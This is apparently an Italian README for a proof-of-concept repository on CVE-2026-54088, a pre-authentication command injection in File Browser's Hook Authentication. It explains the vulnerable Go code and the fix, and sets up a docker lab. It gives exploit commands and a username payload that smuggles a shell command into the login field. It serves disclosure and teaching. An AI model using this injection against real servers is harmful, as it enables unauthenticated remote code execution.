Exploit proof-of-concept per CVE-2026-54088, una command injection OS pre-autenticazione in File Browser <=2.63.5. Dimostra l'iniezione di shell tramite Hook Authentication per ottenere l'esecuzione remota di codice.
Questo repository è un Proof of Concept (PoC) per la vulnerabilità critica di iniezione di comandi del sistema operativo CVE-2026-54088 presente nelle versioni <= 2.63.5 di File Browser.
Questa vulnerabilità risiede nella funzionalità Hook Authentication. Se un amministratore configura File Browser per autenticare gli utenti tramite un comando esterno, i campi username e password inviati durante il login vengono espansi nella stringa di comando configurata tramite os.Expand() senza essere escaped. Un attaccante remoto non autenticato può iniettare sintassi shell tramite la richiesta di login ed eseguire comandi arbitrari prima che l'autenticazione abbia successo.
Scoperto da: saku0512 (https://github.com/Saku0512)
Questo progetto è destinato esclusivamente a scopi educativi e test di sicurezza etici.
L'autore non si assume alcuna responsabilità per abusi, danni o attività illegali derivanti dall'uso di questo strumento. L'accesso non autorizzato ai sistemi informatici è illegale. Utilizzare questo software solo in ambienti per i quali si dispone di esplicita autorizzazione.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() suddivide il comando di autenticazione configurato e espande i placeholder delle credenziali utilizzando i dati della richiesta controllabili dall'attaccante.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
Se il comando hook è configurato come segue:
sh -c $USERNAME
Se un attaccante invia uno username come:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
Durante il tentativo di login, il server esegue lo script shell controllato dall'attaccante. Non sono necessari account o password validi.
Il problema è stato risolto nel commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f rimuovendo la sostituzione delle credenziali dalla stringa del comando hook. Il comando hook viene eseguito così come configurato e le credenziali vengono passate solo come variabili d'ambiente.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
La logica vulnerabile rimossa era un ciclo os.Expand() che riscriveva gli argomenti del comando con le credenziali controllate dall'attaccante prima che exec.Command() venisse chiamato. La correzione include anche un test di regressione per verificare che le credenziali iniettate non possano alterare il comando hook e che USERNAME / PASSWORD siano ancora disponibili per l'hook tramite variabili d'ambiente.
Avviare un ambiente File Browser vulnerabile. Il servizio filebrowser-init creerà il database e abiliterà l'autenticazione tramite hook utilizzando un comando vulnerabile.
docker compose up -d
Il target è disponibile al seguente URL:
http://localhost:8080
Eseguire lo script exploit da questa directory.
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
Questo exploit invia una singola richiesta di login non autenticata a /api/login. L'autenticazione dovrebbe fallire, ma il comando iniettato viene eseguito prima.
Aprire la schermata di login di File Browser nel browser.
http://localhost:8080
Inserire i seguenti valori nel modulo di login e fare clic sul pulsante di login.
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
Il login fallirà, ma l'esecuzione del comando di autenticazione tramite hook avviene prima che venga restituito il risultato dell'autenticazione. Con il seguente comando, verificare che il file marcatore sia stato creato nel container tramite l'operazione GUI:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
Se il file esiste, si conferma che anche tramite l'operazione di login dalla GUI si è verificata un'esecuzione remota di codice prima dell'autenticazione.
Verificare che il comando sia stato eseguito all'interno del container File Browser.
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
Se il file esiste, si conferma l'esecuzione remota di codice prima dell'autenticazione.
docker compose down -v
Aggiornare File Browser alla versione 2.63.6 o successiva.
Le credenziali non devono essere incorporate nella stringa del comando shell, ma passate al comando hook solo come variabili d'ambiente. Anche per altri percorsi di esecuzione di comandi, è necessario evitare la valutazione della shell o adottare una rigorosa separazione degli argomenti e l'escape.